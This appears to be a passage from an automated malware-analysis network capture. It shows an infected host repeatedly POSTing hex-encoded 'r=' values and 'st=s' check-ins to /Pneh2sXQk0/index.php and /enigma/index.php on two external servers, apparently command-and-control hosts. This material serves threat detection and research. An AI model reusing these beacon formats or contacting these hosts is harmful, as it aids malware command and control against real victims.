Apr 19, 2024 03:35:45.512886047 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:45.764080048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1259	192.168.2.5	51113	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:45.847655058 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:46.091202974 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1260	192.168.2.5	51114	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:46.107013941 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:46.355524063 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1261	192.168.2.5	51115	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:46.345159054 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:46.596771002 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1262	192.168.2.5	51116	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:46.609648943 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:46.869631052 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1263	192.168.2.5	51117	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:46.944057941 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:47.187817097 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1264	192.168.2.5	51118	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:47.211831093 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:47.458745956 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1265	192.168.2.5	51119	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:47.437227011 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:47.685126066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1266	192.168.2.5	51120	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:47.715745926 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:47.966459036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1267	192.168.2.5	51121	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:48.036484957 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:48.279100895 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1268	192.168.2.5	51122	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:48.311465979 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:48.559319973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1269	192.168.2.5	51123	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:48.533718109 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:48.789422035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1270	192.168.2.5	51124	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:48.817939043 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:49.074604988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1271	192.168.2.5	51125	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:49.152014017 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:49.400629997 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1272	192.168.2.5	51126	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:49.415174961 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:49.659615993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1273	192.168.2.5	51127	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:49.655024052 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:49.904206991 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1274	192.168.2.5	51128	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:49.915750980 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:50.168057919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1275	192.168.2.5	51129	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:50.264131069 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:50.516494989 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1276	192.168.2.5	51130	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:50.508085012 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:50.752542973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1277	192.168.2.5	51131	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:50.765695095 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:51.014405012 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1278	192.168.2.5	51132	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:51.001929045 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:35:51.250554085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1279	192.168.2.5	51133	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:51.366453886 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:51.610553980 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1280	192.168.2.5	51134	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:51.589031935 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:51.833916903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1281	192.168.2.5	51135	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:51.864643097 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:52.116436958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1282	192.168.2.5	51136	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
